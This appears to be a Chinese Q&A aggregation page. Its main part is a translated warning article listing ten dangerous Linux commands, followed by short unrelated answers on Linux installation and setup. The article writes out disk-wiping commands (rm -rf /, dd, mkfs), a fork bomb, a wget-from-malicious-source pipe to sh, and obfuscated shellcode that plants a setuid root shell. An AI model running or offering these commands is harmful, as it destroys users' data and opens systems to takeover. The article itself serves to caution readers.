linux10
❶ linux執行的10個最危險的命令是哪些
Linux命令行佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不確定你自己在正在做什麼時候。這篇文章並不打算引來你對Linux或linux命令行的憤怒。我們只是想讓你意識到在你運行某些命令時應該三思而後行。(譯註:當然,以下命令通常都是在root許可權下才能將愚蠢發揮到無可救葯;在普通用戶身份下,破壞的只是自己的一畝三分地。)
1. rm -rf命令
rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm命令的選項。
rm命令在Linux下通常用來刪除文件。
rm -r命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是「甚至是非空的文件夾」)
rm -f命令能不經過詢問直接刪除『只讀文件』。(譯註:Linux下刪除文件並不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來要求刪除確認,而-f則抑制了這個提示。)
rm -rf / :強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了。。。)
rm -rf *:強制刪除當前目錄的所有文件。
rm -rf . :強制刪除當前文件夾及其子文件夾。
從現在起,當你要執行rm -rf命令時請留心一點。我們可以在「.bashrc」文件對『rm『命令創建rm -i的別名,來預防用『rm『命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f參數前一定考慮好你在做什麼!譯者本人有著血淚的教訓啊。)
2. :(){:|:&};:命令
這就是個fork炸彈的實例。具體操作是通過定義一個名為『:『的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
:(){:|:&};:哦?你確認你要試試么?千萬別在公司正式的伺服器上實驗啊~~
3.命令> /dev/sda
上列命令會將某個『命令『的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4. mv文件夾/dev/null
這個命令會移動某個『文件夾『到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。(譯註:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,並不能阻止數據恢復軟體的救贖,所以,真正的徹底毀滅,需要採用專用的軟體或者手法來完成——我知道你肯定有些東西想刪除得乾乾凈凈的。)
# mv /home/user/* /dev/null上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被『捲入』黑洞(null)之中。
5. wget http://malicious_source -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。
注意:你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設備『sda』,你無疑知道在執行上列命令後你的塊設備(硬碟驅動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯註:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設備使用,一般都需要將sda分成類似sda1、sda2這樣的分區後才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀滅性的,上面的數據都會被蒸發了。)
7. > file
上列命令常用來清空文件內容(譯註:通常也用於記錄命令輸出。不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟體都未必能幫助你了。另外,我想你可能真正想用的是「>>」,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8. ^foo^bar
這個命令在我們十個鮮為人知的Linux命令- Part 3中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯註:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的「黑客」技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能徹底刪除數據么?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)
10.隱藏命令
下面的命令其實就是上面第一個命令(rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(「.text」))) /* e.s.p
release */
=「ë>[1ÀPTZƒìdh″
「ÿÿÿÿhßÐßÙh™″
「ßh』ßÒT^÷÷″
「V÷V÷VƒÄtV″
「sVSTY°Í€1″
「À@ëùè½ÿÿÿ/bi″
「n/sh-c″
「cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;」;注意:不要在你的或你的同學或學校的電腦里的Linux終端或Shell執行以上的任何一個命令。如果你想測試它們,請在虛擬機上運行。任何不和諧或數據丟失,由於運行上面的命令導致你的系統崩潰,文章作者和Tecmint概不負責。(譯註:譯者和轉載網站也不負責~!)
❷ android linux 10是什麼手機
android linux 10就是山寨機
山寨機是雜牌手機的戲稱,又稱山寨手機、野手機、黑手機或高仿手機。一般就是指高仿手機,它們由生產者自己取個品牌名字,模仿品牌手機的功能和樣式,價格僅是品牌手機的1/3。
一些價格低廉、功能齊全的貼牌機和名稱五花八門的雜牌手機也可以稱其為「山寨手機」。就是沒有自己的技術,完全靠攢件組裝產品的手工作坊類的小工廠製作的手機。其外形通常都與一些知名一線品牌的熱門產品極其相似,又沒有比較正式的品牌,甚至有些是打Sunyericcsun、NOKIR、SAMSING這樣的擦邊球品牌。
這些手機通常被稱之為山寨手機,山寨機。還有評論認為山寨機也有高檔科技手機。
❸ suse Linux10 如何設置網路連接
恩,很普遍的一個問題。linux下需要首先設置一個靜態的IP才能激活網卡。先設個內網的IP,比如192。168.0.11,掩碼什麼的都設了,然後激活網卡,最好重啟一下就可以了。
❹ 為什麼安裝紅帽子Linux10總提示找不到硬碟
可能是紅帽子Linux10還不支持串口硬碟.需要提供驅動.
❺ 怎麼樣安裝SUSE Linux10
用Nero或Alcohol120%,使用燒錄鏡像。把下載的鏡像文件燒成盤。然後放入光碟機,將啟動項設為光碟機啟動。在此之前,建議用windows安裝盤將一個分區刪除,再建立,記住不要格式化。然後重啟電腦,suse的引導程序會自動啟動,你可以按F2來選擇安裝的語言。然後進入安裝界面,和windows的差不多,和容易上手。唯一麻煩的就是分區,但你按照上面說的,騰出了一個分區的話(建議初學者分一個10GB的),那就省事了,讓系統自動分就可以了,不用設置掛載點,安裝程序會自動為你掛根目錄和swap。然後選擇要安裝的組件,可以都安上試試看,大概會佔7GB左右。然後就是等待了,安裝之後suse帶的啟動程序可以分別為linux和windows創建啟動項的。所以開機自己選擇進入windows或是linux就好了。相對來說,suse做的比較職能,而且也比較省心的,除了分區,剩下的和windows安裝並無太大區別。自己試試看就好了,一回生,二回熟嘛。呵呵
❻ linux伺服器10核、內存128G處於什麼水平
組里的一個Linux項目,後台有6個服務,分布在6台刀片機上,其中一個服務用於進行計算,CPU使用率較高。 刀片機有24個核心,每個核是24GHz,有128G內存。
計算服務有5個線程,其中3個線程CPU使用率基本上不會超過1%,但另外兩個線程CPU的使用率較高,平均大概50%和30%的樣子。峰值能夠達到100%。
我一直認為這樣的分布不合理,我的想法是拆分CPU使用率過高的線程,將負載分布到多個線程上,才能更充分利用伺服器,畢竟有24個核……
另外我一直覺得CPU就是用來計算的,不到1%的使用率完全就是浪費了伺服器的性能,不如把多個服務合並到一台刀片機上,現在是每個服務一台刀片機……
❼ 怎樣讓Ubuntu linux 10變成中文版
屏幕左上角:系統->系統管理->語言支持(在你的電腦上這幾項當然是英文),然後選擇中文(如果你的ubuntu是測試版,保證操作時能上網,因為語言包可能不全,系統會自動下載)
❽ 你好,在嗎你的LINUX10是哪個版本的
ubuntu 15.04
❾ Linux新手要了解的10個知識點
1、注意大小寫
Linux是大小寫敏感的系統,舉個例子,Mozilla,MOZILLA,mozilla是四個不同的命令。還有,my_filE,
my_file,和my_FILE是三個不同的文件。用戶的登錄名和秘密也是大小寫敏感的。
2、命名文件名
文件名最多可以有256個字元,可以包含數字,點號」.」,下劃線」_」,橫桿」-」,加上其他一些不被建議使用的字元。
3、顯示隱藏文件
文件名前面帶"."的文件在輸入"ls"或者"dir"命令時一般不顯示。可以把這些文件看作是隱含文件,當然你也可以使用命令"ls-a"來顯示這些文件。
4、根目錄
"/"對等於DOS下的"\"。根目錄,意味著所有其他目錄的父目錄,或者是在目錄之間和目錄和文件之間的一個間隔符號,例子:cd/usr/doc。
5、目錄樹
在Linux系統下,所有的目錄顯示在單一目錄樹下,這意味著所有的物理設備上的所有文件和目錄都合並在單一的目錄樹下。
6、注釋
在配置文件里,以#打頭的行是注釋行。在修改配置文件的時候盡量不要刪除舊的設置,可以把原來的設置加上"#"變成注釋行,總是在修改地方對應地加入一些關於修改的注釋,你會發覺在以後的管理中獲益多多。
7、主目錄
Linux是繼承性的多用戶操作系統。你的個人設定放在你的主目錄下,一般是/home/your_user_login_name。許多的配置文件的文件名都以"."開頭,這樣用戶一般看不到這些文件。
8、/etc目錄
整個系統范圍的設定一般放在目錄/etc下。
9、訪問許可權
和其他的多用戶操作系統類似,在Linux下,文件和目錄有自己的擁有者和訪問許可權。一般來說,你只被允許文件到你的主目錄下。學習一些關於文件許可權管理的相關知識,否則你肯定會覺得Linux很麻煩。
10、參數
命令參數選項一般由」-」引導,後面跟一個字元。這樣"-"有點像DOS下的"/"。舉個例子:輸入命令rm--help。
❿ 怎樣實現在Linux 10下安裝windows
在linux不能安裝windows,即使用linux下載windows的iso鏡像文件也需要刻盤後才能安裝,或者去買張windows的安裝盤,安裝windows時把linux的分區刪除就可以了。你說的這種情況,是你安裝linux時選的默認的分區方式,linux把硬碟的所有空間全部佔用了,所以不能同時再裝windows了